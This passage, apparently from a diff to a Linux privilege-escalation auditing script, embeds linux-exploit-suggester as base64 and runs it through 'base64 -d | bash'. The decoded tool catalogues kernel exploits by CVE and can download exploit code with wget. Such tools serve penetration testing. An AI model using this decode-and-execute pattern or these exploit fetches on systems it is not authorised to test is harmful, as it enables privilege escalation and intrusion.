hvIC1lICIke2JsZHdodH1Qb3NzaWJsZSBFeHBsb2l0czoke3R4dHJzdH0iCmVjaG8KCiMgc3RhcnQgYW5hbHlzaXMKaj0wCmZvciBFWFAgaW4gIiR7RVhQTE9JVFNbQF19IiAiJHtFWFBMT0lUU19VU0VSU1BBQ0VbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRFWFAiCgogICAgTkFNRT0iJHthcnJbMF19IiAmJiBOQU1FPSIke05BTUU6Nn0iCiAgICBSRVFTPSIke2FyclsxXX0iICYmIFJFUVM9IiR7UkVRUzo2fSIKICAgIFRBR1M9IiR7YXJyWzJdfSIgJiYgVEFHUz0iJHtUQUdTOjZ9IgogICAgUkFOSz0iJHthcnJbM119IiAmJiBSQU5LPSIke1JBTks6Nn0iCgogICAgIyBzcGxpdCBsaW5lIHdpdGggcmVxdWlyZW1lbnRzICYgbG9vcCB0aHJ1IGFsbCByZXFzIG9uZSBieSBvbmUgJiBjaGVjayB3aGV0aGVyIGl0IGlzIG1ldAogICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJFJFUVMiCiAgICBSRVFTX05VTT0keyNhcnJheVtAXX0KICAgIFBBU1NFRF9SRVE9MAogICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIiAiJHthcnJheVswXX0iKTsgdGhlbgogICAgICAgICAgICBQQVNTRURfUkVRPSQoKCRQQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBleGVjdXRlIGZvciBleHBsb2l0cyB3aXRoIGFsbCByZXF1aXJlbWVudHMgbWV0CiAgICBpZiBbICRQQVNTRURfUkVRIC1lcSAkUkVRU19OVU0gXTsgdGhlbgoKICAgICAgICAjIGFkZGl0aW9uYWwgcmVxdWlyZW1lbnQgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGU6IGNoZWNrIGlmIENWRSBhc3NvY2lhdGVkIHdpdGggdGhlIGV4cGxvaXQgaXMgb24gdGhlIENWRUxJU1RfRklMRQogICAgICAgIGlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgICAgICAgICAjIGV4dHJhY3QgQ1ZFKHMpIGFzc29jaWF0ZWQgd2l0aCBnaXZlbiBleHBsb2l0IChhbHNvIHRyYW5zbGF0ZXMgJywnIHRvICd8JyBmb3IgZWFzeSBoYW5kbGluZyBtdWx0aXBsZSBDVkVzIGNhc2UgLSB2aWEgZXh0ZW5kZWQgcmVnZXgpCiAgICAgICAgICAgIGN2ZT0kKGVjaG8gIiROQU1FIiB8IGdyZXAgJy4qXFsuKlxdLionIHwgY3V0IC1kICdtJyAtZjIgfCBjdXQgLWQgJ10nIC1mMSB8IHRyIC1kICdbJyB8IHRyICIsIiAifCIpCiAgICAgICAgICAgICNlY2hvICJDVkU6ICRjdmUiCgogICAgICAgICAgICAjIGNoZWNrIGlmIGl0J3Mgb24gQ1ZFTElTVF9GSUxFIGxpc3QsIGlmIG5vIG1vdmUgdG8gbmV4dCBleHBsb2l0CiAgICAgICAgICAgIFsgISAkKGNhdCAiJENWRUxJU1RfRklMRSIgfCBncmVwIC1FICIkY3ZlIikgXSAmJiBjb250aW51ZQogICAgICAgIGZpCgogICAgICAgICMgcHJvY2VzcyB0YWdzIGFuZCBoaWdobGlnaHQgdGhvc2UgdGhhdCBtYXRjaCBjdXJyZW50IE9TIChvbmx5IGZvciBkZWJ8dWJ1bnR1fFJIRUwgYW5kIGlmIHdlIGtub3cgZGlzdHJvIHZlcnNpb24gLSBkaXJlY3QgbW9kZSkKICAgICAgICB0YWdzPSIiCiAgICAgICAgaWYgWyAtbiAiJFRBR1MiIC1hIC1uICIkT1MiIF07IHRoZW4KICAgICAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIHRhZ3NfYXJyYXkgPDw8ICIkVEFHUyIKICAgICAgICAgICAgVEFHU19OVU09JHsjdGFnc19hcnJheVtAXX0KCiAgICAgICAgICAgICMgYnVtcCBSQU5LIHNsaWdodGx5ICgrMSkgaWYgd2UncmUgaW4gJy0tdW5hbWUnIG1vZGUgYW5kIHRoZXJlJ3MgYSBUQUcgZm9yIE9TIGZyb20gdW5hbWUgc3RyaW5nCiAgICAgICAgICAgIFsgIiQoZWNobyAiJHt0YWdzX2FycmF5W0BdfSIgfCBncmVwICIkT1MiKSIgLWEgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAidHJ1ZSIgXSAmJiBSQU5LPSQoKCRSQU5LICsgMSkpCgogICAgICAgICAgICBmb3IgVEFHIGluICIke3RhZ3NfYXJyYXlbQF19IjsgZG8KICAgICAgICAgICAgICAgIHRhZ19kaXN0cm89JChlY2hvICIkVEFHIiB8IGN1dCAtZCc9JyAtZjEpCiAgICAgICAgICAgICAgICB0YWdfZGlzdHJvX251bV9hbGw9JChlY2hvICIkVEFHIiB8IGN1dCAtZCc9JyAtZjIpCiAgICAgICAgICAgICAgICAjIGluIGNhc2Ugb2YgdGFnIG9mIGZvcm06ICd1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxfSByZW1vdmUga2VybmVsIHZlcnNpb25pbmcgcGFydCBmb3IgY29tcGFyaXNpb24KICAgICAgICAgICAgICAgIHRhZ19kaXN0cm9fbnVtPSIke3RhZ19kaXN0cm9fbnVtX2FsbCV7Kn0iCgogICAgICAgICAgICAgICAgIyB3ZSdyZSBpbiAnLS11bmFtZScgbW9kZSBPUiAoZm9yIG5vcm1hbCBtb2RlKSBpZiB0aGVyZSBpcyBkaXN0cm8gdmVyc2lvbiBtYXRjaAogICAgICAgICAgICAgICAgaWYgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJ0cnVlIiAtbyBcKCAiJE9TIiA9PSAiJHRhZ19kaXN0cm8iIC1hICIkKGVjaG8gIiRESVNUUk8iIHwgZ3JlcCAtRSAiJHRhZ19kaXN0cm9fbnVtIikiIFwpIF07IHRoZW4KCiAgICAgICAgICAgICAgICAgICAgIyBidW1wIGN1cnJlbnQgZXhwbG9pdCdzIHJhbmsgYnkgMiBmb3IgZGlzdHJvIG1hdGNoIChhbmQgbm90IGluICctLXVuYW1lJyBtb2RlKQogICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgUkFOSz0kKCgkUkFOSyArIDIpKQoKICAgICAgICAgICAgICAgICAgICAjIGdldCBuYW1lIChrZXJuZWwgb3IgcGFja2FnZSBuYW1lKSBhbmQgdmVyc2lvbiBvZiBrZXJuZWwvcGtnIGlmIHByb3ZpZGVkOgogICAgICAgICAgICAgICAgICAgIHRhZ19wa2c9JChlY2hvICIkdGFnX2Rpc3Ryb19udW1fYWxsIiB8IGN1dCAtZCd7JyAtZiAyIHwgdHIgLWQgJ30nIHwgY3V0IC1kJzonIC1mIDEpCiAgICAgICAgICAgICAgICAgICAgdGFnX3BrZ19udW09IiIKICAgICAgICAgICAgICAgICAgICBbICQoZWNobyAiJHRhZ19kaXN0cm9fbnVtX2FsbCIgfCBncmVwICd7JykgXSAmJiB0YWdfcGtnX251bT0kKGVjaG8gIiR0YWdfZGlzdHJvX251bV9hbGwiIHwgY3V0IC1kJ3snIC1mIDIgfCB0ciAtZCAnfScgfCBjdXQgLWQnOicgLWYgMikKCiAgICAgICAgICAgICAgICAgICAgI1sgLW4gIiR0YWdfcGtnX251bSIgXSAmJiBlY2hvICJ0YWdfcGtnX251bTogJHRhZ19wa2dfbnVtOyBrZXJuZWw6ICRLRVJORUxfQUxMIgoKICAgICAgICAgICAgICAgICAgICAjIGlmIHBrZy9rZXJuZWwgdmVyc2lvbiBpcyBub3QgcHJvdmlkZWQ6CiAgICAgICAgICAgICAgICAgICAgaWYgWyAteiAiJHRhZ19wa2dfbnVtIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgVEFHPSIke2xpZ2h0eWVsbG93fVsgJHtUQUd9IF0ke3R4dHJzdH0iCgogICAgICAgICAgICAgICAgICAgICMga2VybmVsIHZlcnNpb24gcHJvdmlkZWQsIGNoZWNrIGZvciBtYXRjaDoKICAgICAgICAgICAgICAgICAgICBlbGlmIFsgLW4gIiR0YWdfcGtnX251bSIgLWEgIiR0YWdfcGtnIiA9ICJrZXJuZWwiIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgaWYgWyAkKGVjaG8gIiRLRVJORUxfQUxMIiB8IGdyZXAgLUUgIiR7dGFnX3BrZ19udW19IikgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBrZXJuZWwgdmVyc2lvbiBtYXRjaGVkIC0gYm9sZCBoaWdobGlnaHQKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRBRz0iJHt5ZWxsb3d9WyAke1RBR30gXSR7dHh0cnN0fSIKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIGJ1bXAgY3VycmVudCBleHBsb2l0J3MgcmFuayBhZGRpdGlvbmFsbHkgYnkgMyBmb3Iga2VybmVsIHZlcnNpb24gcmVnZXggbWF0Y2gKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJBTks9JCgoJFJBTksgKyAzKSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBUQUc9IiR7bGlnaHR5ZWxsb3d9WyAkdGFnX2Rpc3Rybz0kdGFnX2Rpc3Ryb19udW0gXSR7dHh0cnN0fXtrZXJuZWw6JHRhZ19wa2dfbnVtfSIKICAgICAgICAgICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICAgICAgIyBwa2cgdmVyc2lvbiBwcm92aWRlZCwgY2hlY2sgZm9yIG1hdGNoIChUQkQpOgogICAgICAgICAgICAgICAgICAgIGVsaWYgWyAtbiAiJHRhZ19wa2dfbnVtIiAtYSAtbiAiJHRhZ19wa2ciICBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIFRBRz0iJHtsaWdodHllbGxvd31bICR0YWdfZGlzdHJvPSR0YWdfZGlzdHJvX251bSBdJHt0eHRyc3R9eyR0YWdfcGtnOiR0YWdfcGtnX251bX0iCiAgICAgICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgICMgYXBwZW5kIGN1cnJlbnQgdGFnIHRvIHRhZ3MgbGlzdAogICAgICAgICAgICAgICAgdGFncz0iJHt0YWdzfSR7VEFHfSwiCiAgICAgICAgICAgIGRvbmUKICAgICAgICAgICAgIyB0cmltICcsJyBhZGRlZCBieSBhYm92ZSBsb29wCiAgICAgICAgICAgIFsgLW4gIiR0YWdzIiBdICYmIHRhZ3M9IiR7dGFncyU/fSIKICAgICAgICBlbHNlCiAgICAgICAgICAgIHRhZ3M9IiRUQUdTIgogICAgICAgIGZpCgogICAgICAgICMgaW5zZXJ0IHRoZSBtYXRjaGVkIGV4cGxvaXQgKHdpdGggY2FsY3VsYXRlZCBSYW5rIGFuZCBoaWdobGlnaHRlZCB0YWdzKSB0byBhcnJhcnkgdGhhdCB3aWxsIGJlIHNvcnRlZAogICAgICAgIEVYUD0kKGVjaG8gIiRFWFAiIHwgc2VkIC1lICcvXk5hbWU6L2QnIC1lICcvXlJlcXM6L2QnIC1lICcvXlRhZ3M6L2QnKQogICAgICAgIGV4cGxvaXRzX3RvX3NvcnRbal09IiR7UkFOS31OYW1lOiAke05BTUV9RDNMMW1SZXFzOiAke1JFUVN9RDNMMW1UYWdzOiAke3RhZ3N9RDNMMW0kKGVjaG8gIiRFWFAiIHwgc2VkIC1lICc6YScgLWUgJ04nIC1lICckIWJhJyAtZSAncy9cbi9EM0wxbS9nJykiCiAgICAgICAgKChqKyspKQogICAgZmkKZG9uZQoKIyBzb3J0IGV4cGxvaXRzIGJhc2VkIG9uIGNhbGN1bGF0ZWQgUmFuawpJRlM9JCdcbicKU09SVEVEX0VYUExPSVRTPSgkKHNvcnQgLXIgPDw8IiR7ZXhwbG9pdHNfdG9fc29ydFsqXX0iKSkKdW5zZXQgSUZTCgojIGRpc3BsYXkgc29ydGVkIGV4cGxvaXRzCmZvciBFWFBfVEVNUCBpbiAiJHtTT1JURURfRVhQTE9JVFNbQF19IjsgZG8KCglSQU5LPSQoZWNobyAiJEVYUF9URU1QIiB8IGF3ayAtRidOYW1lOicgJ3twcmludCAkMX0nKQoKCSMgY29udmVydCBlbnRyeSBiYWNrIHRvIGNhbm9uaWNhbCBmb3JtCglFWFA9JChlY2hvICIkRVhQX1RFTVAiIHwgc2VkICdzL15bMC05XS8vZycgfCBzZWQgJ3MvRDNMMW0vXG4vZycpCgoJIyBjcmVhdGUgYXJyYXkgZnJvbSBjdXJyZW50IGV4cGxvaXQgaGVyZSBkb2MgYW5kIGZldGNoIG5lZWRlZCBsaW5lcwogICAgaT0wCiAgICAjICgnLXInIGlzIHVzZWQgdG8gbm90IGludGVycHJldCBiYWNrc2xhc2ggdXNlZCBmb3IgYmFzaCBjb2xvcnMpCiAgICB3aGlsZSByZWFkIC1yIGxpbmUKICAgIGRvCiAgICAgICAgYXJyW2ldPSIkbGluZSIKICAgICAgICBpPSQoKGkgKyAxKSkKICAgIGRvbmUgPDw8ICIkRVhQIgoKICAgIE5BTUU9IiR7YXJyWzBdfSIgJiYgTkFNRT0iJHtOQU1FOjZ9IgogICAgUkVRUz0iJHthcnJbMV19IiAmJiBSRVFTPSIke1JFUVM6Nn0iCiAgICBUQUdTPSIke2FyclsyXX0iICYmIHRhZ3M9IiR7VEFHUzo2fSIKCglFWFBMT0lUX0RCPSQoZWNobyAiJEVYUCIgfCBncmVwICJleHBsb2l0LWRiOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWFuYWx5c2lzX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYW5hbHlzaXMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWV4dF91cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgImV4dC11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJY29tbWVudHM9JChlY2hvICIkRVhQIiB8IGdyZXAgIkNvbW1lbnRzOiAiIHwgY3V0IC1kJyAnIC1mIDItKQoJcmVxcz0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiUmVxczogIiB8IGN1dCAtZCcgJyAtZiAyKQoKCSMgZXhwbG9pdCBuYW1lIHdpdGhvdXQgQ1ZFIG51bWJlciBhbmQgd2l0aG91dCBjb21tb25seSB1c2VkIHNwZWNpYWwgY2hhcnMKCW5hbWU9JChlY2hvICIkTkFNRSIgfCBjdXQgLWQnICcgLWYgMi0gfCB0ciAtZCAnICgpLycpCgoJYmluX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYmluLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCglzcmNfdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJzcmMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCVsgLXogIiRzcmNfdXJsIiBdICYmIFsgLW4gIiRFWFBMT0lUX0RCIiBdICYmIHNyY191cmw9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLyRFWFBMT0lUX0RCIgoJWyAteiAiJHNyY191cmwiIF0gJiYgWyAteiAiJGJpbl91cmwiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIidzcmMtdXJsJyAvICdiaW4tdXJsJyAvICdleHBsb2l0LWRiJyBlbnRyaWVzIGFyZSBhbGwgZW1wdHkgZm9yICckTkFNRScgZXhwbG9pdCAtIGZpeCB0aGF0LiBBYm9ydGluZy4iCgoJaWYgWyAtbiAiJGFuYWx5c2lzX3VybCIgXTsgdGhlbgogICAgICAgIGRldGFpbHM9IiRhbmFseXNpc191cmwiCgllbGlmICQoZWNobyAiJHNyY191cmwiIHwgZ3JlcCAtcSAnd3d3LmV4cGxvaXQtZGIuY29tJyk7IHRoZW4KICAgICAgICBkZXRhaWxzPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8kRVhQTE9JVF9EQi8iCgllbGlmIFtbICIkc3JjX3VybCIgPX4gXi4qdGd6fHRhci5nenx6aXAkICYmIC1uICIkRVhQTE9JVF9EQiIgXV07IHRoZW4KICAgICAgICBkZXRhaWxzPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8kRVhQTE9JVF9EQi8iCgllbHNlCiAgICAgICAgZGV0YWlscz0iJHNyY191cmwiCglmaQoKCSMgc2tpcCBEb1MgYnkgZGVmYXVsdAoJZG9zPSQoZWNobyAiJEVYUCIgfCBncmVwIC1vIC1pICIoZG9zIikKCVsgIiRvcHRfc2hvd19kb3MiID09ICJmYWxzZSIgXSAmJiBbIC1uICIkZG9zIiBdICYmIGNvbnRpbnVlCgoJIyBoYW5kbGVzIC0tZmV0Y2gtYmluYXJpZXMgb3B0aW9uCglpZiBbICRvcHRfZmV0Y2hfYmlucyA9ICJ0cnVlIiBdOyB0aGVuCiAgICAgICAgZm9yIGkgaW4gJChlY2hvICIkRVhQIiB8IGdyZXAgImJpbi11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICAgICAgICAgICAgWyAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIgXSAmJiBybSAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIKICAgICAgICAgICAgd2dldCAtcSAtayAiJGkiIC1PICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIgogICAgICAgIGRvbmUKICAgIGZpCgoJIyBoYW5kbGVzIC0tZmV0Y2gtc291cmNlcyBvcHRpb24KCWlmIFsgJG9wdF9mZXRjaF9zcmNzID0gInRydWUiIF07IHRoZW4KICAgICAgICBbIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIiBdICYmIHJtIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIgogICAgICAgIHdnZXQgLXEgLWsgIiRzcmNfdXJsIiAtTyAiJHtuYW1lfV8kKGJhc2VuYW1lICRzcmNfdXJsKSIgJgogICAgZmkKCiAgICAjIGRpc3BsYXkgcmVzdWx0IChzaG9ydCkKCWlmIFsgIiRvcHRfc3VtbWFyeSIgPSAidHJ1ZSIgXTsgdGhlbgoJWyAteiAiJHRhZ3MiIF0gJiYgdGFncz0iLSIKCWVjaG8gLWUgIiROQU1FIHx8ICR0YWdzIHx8ICRzcmNfdXJsIgoJY29udGludWUKCWZpCgojIGRpc3BsYXkgcmVzdWx0IChzdGFuZGFyZCkKCWVjaG8gLWUgIlsrXSAkTkFNRSIKCWVjaG8gLWUgIlxuICAgRGV0YWlsczogJGRldGFpbHMiCiAgICAgICAgZWNobyAtZSAiICAgRXhwb3N1cmU6ICQoZGlzcGxheUV4cG9zdXJlICRSQU5LKSIKICAgICAgICBbIC1uICIkdGFncyIgXSAmJiBlY2hvIC1lICIgICBUYWdzOiAkdGFncyIKICAgICAgICBlY2hvIC1lICIgICBEb3dubG9hZCBVUkw6ICRzcmNfdXJsIgogICAgICAgIFsgLW4gIiRleHRfdXJsIiBdICYmIGVjaG8gLWUgIiAgIGV4dC11cmw6ICRleHRfdXJsIgogICAgICAgIFsgLW4gIiRjb21tZW50cyIgXSAmJiBlY2hvIC1lICIgICBDb21tZW50czogJGNvbW1lbnRzIgoKICAgICAgICAjIGhhbmRsZXMgLS1mdWxsIGZpbHRlciBvcHRpb24KICAgICAgICBpZiBbICIkb3B0X2Z1bGwiID0gInRydWUiIF07IHRoZW4KICAgICAgICAgICAgWyAtbiAiJHJlcXMiIF0gJiYgZWNobyAtZSAiICAgUmVxdWlyZW1lbnRzOiAkcmVxcyIKCiAgICAgICAgICAgIFsgLW4gIiRFWFBMT0lUX0RCIiBdICYmIGVjaG8gLWUgIiAgIGV4cGxvaXQtZGI6ICRFWFBMT0lUX0RCIgoKICAgICAgICAgICAgYXV0aG9yPSQoZWNobyAiJEVYUCIgfCBncmVwICJhdXRob3I6ICIgfCBjdXQgLWQnICcgLWYgMi0pCiAgICAgICAgICAgIFsgLW4gIiRhdXRob3IiIF0gJiYgZWNobyAtZSAiICAgYXV0aG9yOiAkYXV0aG9yIgogICAgICAgIGZpCgogICAgICAgIGVjaG8KCmRvbmUK" - if [ "$EXTRA_CHECKS" ]; then - echo $les_b64 | base64 -d | bash -s -- --checksec | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | sed -E "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g" - else - echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\],*,${SED_RED},g" - fi + les_b64="IyEvYmluL2Jhc2gKCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTYtMjAyMiwgQF9temV0XwojCiMgbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggY29tZXMgd2l0aCBBQlNPTFVURUxZIE5PIFdBUlJBTlRZLgojIFRoaXMgaXMgZnJlZSBzb2Z0d2FyZSwgYW5kIHlvdSBhcmUgd2VsY29tZSB0byByZWRpc3RyaWJ1dGUgaXQKIyB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlLiBTZWUgTElDRU5TRQojIGZpbGUgZm9yIHVzYWdlIG9mIHRoaXMgc29mdHdhcmUuCiMKClZFUlNJT049djEuMQoKIyBiYXNoIGNvbG9ycwojdHh0cmVkPSJcZVswOzMxbSIKdHh0cmVkPSJcZVs5MTsxbSIKdHh0Z3JuPSJcZVsxOzMybSIKdHh0Z3JheT0iXGVbMDszN20iCnR4dGJsdT0iXGVbMDszNm0iCnR4dHJzdD0iXGVbMG0iCmJsZHdodD0nXGVbMTszN20nCndodD0nXGVbMDszNm0nCmJsZGJsdT0nXGVbMTszNG0nCnllbGxvdz0nXGVbMTs5M20nCmxpZ2h0eWVsbG93PSdcZVswOzkzbScKCiMgaW5wdXQgZGF0YQpVTkFNRV9BPSIiCgojIHBhcnNlZCBkYXRhIGZvciBjdXJyZW50IE9TCktFUk5FTD0iIgpPUz0iIgpESVNUUk89IiIKQVJDSD0iIgpQS0dfTElTVD0iIgoKIyBrZXJuZWwgY29uZmlnCktDT05GSUc9IiIKCkNWRUxJU1RfRklMRT0iIgoKb3B0X2ZldGNoX2JpbnM9ZmFsc2UKb3B0X2ZldGNoX3NyY3M9ZmFsc2UKb3B0X2tlcm5lbF92ZXJzaW9uPWZhbHNlCm9wdF91bmFtZV9zdHJpbmc9ZmFsc2UKb3B0X3BrZ2xpc3RfZmlsZT1mYWxzZQpvcHRfY3ZlbGlzdF9maWxlPWZhbHNlCm9wdF9jaGVja3NlY19tb2RlPWZhbHNlCm9wdF9mdWxsPWZhbHNlCm9wdF9zdW1tYXJ5PWZhbHNlCm9wdF9rZXJuZWxfb25seT1mYWxzZQpvcHRfdXNlcnNwYWNlX29ubHk9ZmFsc2UKb3B0X3Nob3dfZG9zPWZhbHNlCm9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCm9wdF9za2lwX3BrZ192ZXJzaW9ucz1mYWxzZQoKQVJHUz0KU0hPUlRPUFRTPSJoVmZic3U6azpkcDpnIgpMT05HT1BUUz0iaGVscCx2ZXJzaW9uLGZ1bGwsZmV0Y2gtYmluYXJpZXMsZmV0Y2gtc291cmNlcyx1bmFtZTosa2VybmVsOixzaG93LWRvcyxwa2dsaXN0LWZpbGU6LHNob3J0LGtlcm5lbHNwYWNlLW9ubHksdXNlcnNwYWNlLW9ubHksc2tpcC1tb3JlLWNoZWNrcyxza2lwLXBrZy12ZXJzaW9ucyxjdmVsaXN0LWZpbGU6LGNoZWNrc2VjIgoKIyMgZXhwbG9pdHMgZGF0YWJhc2UKZGVjbGFyZSAtYSBFWFBMT0lUUwpkZWNsYXJlIC1hIEVYUExPSVRTX1VTRVJTUEFDRQoKIyMgdGVtcG9yYXJ5IGFycmF5IGZvciBwdXJwb3NlIG9mIHNvcnRpbmcgZXhwbG9pdHMgKGJhc2VkIG9uIGV4cGxvaXRzJyByYW5rKQpkZWNsYXJlIC1hIGV4cGxvaXRzX3RvX3NvcnQKZGVjbGFyZSAtYSBTT1JURURfRVhQTE9JVFMKCiMjIyMjIyMjIyMjIyBMSU5VWCBLRVJORUxTUEFDRSBFWFBMT0lUUyAjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBlbGZsYmwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI9Mi40LjI5ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vaXNlYy5wbC92dWxuZXJhYmlsaXRpZXMvaXNlYy0wMDIxLXVzZWxpYi50eHQKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L2VsZmxibApleHBsb2l0LWRiOiA3NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSB1c2VsaWIoKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj0yLjQuMjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9pc2VjLnBsL3Z1bG5lcmFiaWxpdGllcy9pc2VjLTAwMjEtdXNlbGliLnR4dApleHBsb2l0LWRiOiA3NzgKQ29tbWVudHM6IEtub3duIHRvIHdvcmsgb25seSBmb3IgMi40IHNlcmllcyAoZXZlbiB0aG91Z2ggMi42IGlzIGFsc28gdnVsbmVyYWJsZSkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBrcmFkMwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjUsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAxMzk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDQtMDA3N10ke3R4dHJzdH0gbXJlbWFwX3B0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE2MApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHJhcHRvcl9wcmN0bApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEzLHZlcjw9Mi42LjE3ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMjAzMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHByY3RsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA1CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGw0ClJlcXM6IHBrZz1saW51eC1r